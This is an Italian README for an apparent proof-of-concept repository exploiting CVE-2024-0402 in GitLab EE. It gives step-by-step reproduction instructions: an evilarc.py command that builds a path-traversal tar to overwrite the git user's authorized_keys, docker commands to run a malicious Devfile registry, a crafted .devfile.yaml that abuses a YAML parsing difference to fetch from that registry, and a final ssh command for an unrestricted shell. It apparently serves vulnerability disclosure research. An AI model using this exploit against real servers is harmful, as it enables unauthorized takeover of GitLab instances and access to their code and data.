Registry Devfile dannoso

Il progetto contiene un Registry Devfile dannoso utilizzabile per sfruttare la CVE-2024-0402 in Gitlab.

L'Exploit

Uno stack nodejs:2.2.1 viene indicizzato per esporre il file archive.tar che sfrutta il problema di path traversal nella libreria registry-support precedente alla v1.1.0.

Posizione del tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

È stato creato usando evilarc.py per sovrascrivere /var/opt/gitlab/.ssh/authorized_keys nel server Gitlab di destinazione con le chiavi SSH contenute nella cartella ssh-keys/ di questo repository.

python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

Una volta avviato, il registry avrà il .tar dannoso aggiunto agli stack scaricabili. Vedi l'index.json che lo elenca tra le risorse dello stack:

...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Passaggi per la riproduzione

Configura un'istanza Gitlab EE con versione <=16.8.0. Abilita le Workspaces su di essa seguendo la documentazione e le note aggiuntive nel nostro post del blog dedicato della serie !exploitable.

Quando sei pronto, segui i passaggi seguenti:

1. Esegui docker build -t devfile-index . nella root di questo repository per creare l'immagine container del registry

2. Esegui docker run -d -p 5000:5000 --name local-registrypoc registry:2 per avviare un registry di container locale che verrà usato dal registry Devfile per memorizzare lo stack. Nota: dovresti modificare il comando per esporlo secondo le tue esigenze. Per noi, tutto avveniva in un ambiente locale

3. Esegui docker run --network host devfile-index per avviare il registry Devfile dannoso creato al passaggio uno. Nota: Come prima, modifica il comando di esecuzione come preferisci per renderlo raggiungibile dall'istanza Gitlab

4. Autenticati come sviluppatore sul server Gitlab di destinazione, poi modifica il .devfile.yaml di un repository che controlli. Lo YAML deve sfruttare la differenza di parsing per consentire il recupero dal registry dannoso

schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"

5. Per attivare la scrittura del file nell'interfaccia Gitlab, avvia semplicemente una nuova Workspace nel repository modificato. Dopo alcuni secondi, la scrittura arbitraria di file dovrebbe avvenire e il file ssh-keys/pockey.pub verrà aggiunto alle authorized_keys dell'utente git

6. Dovresti essere in grado di ottenere una shell senza restrizioni come git con

ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>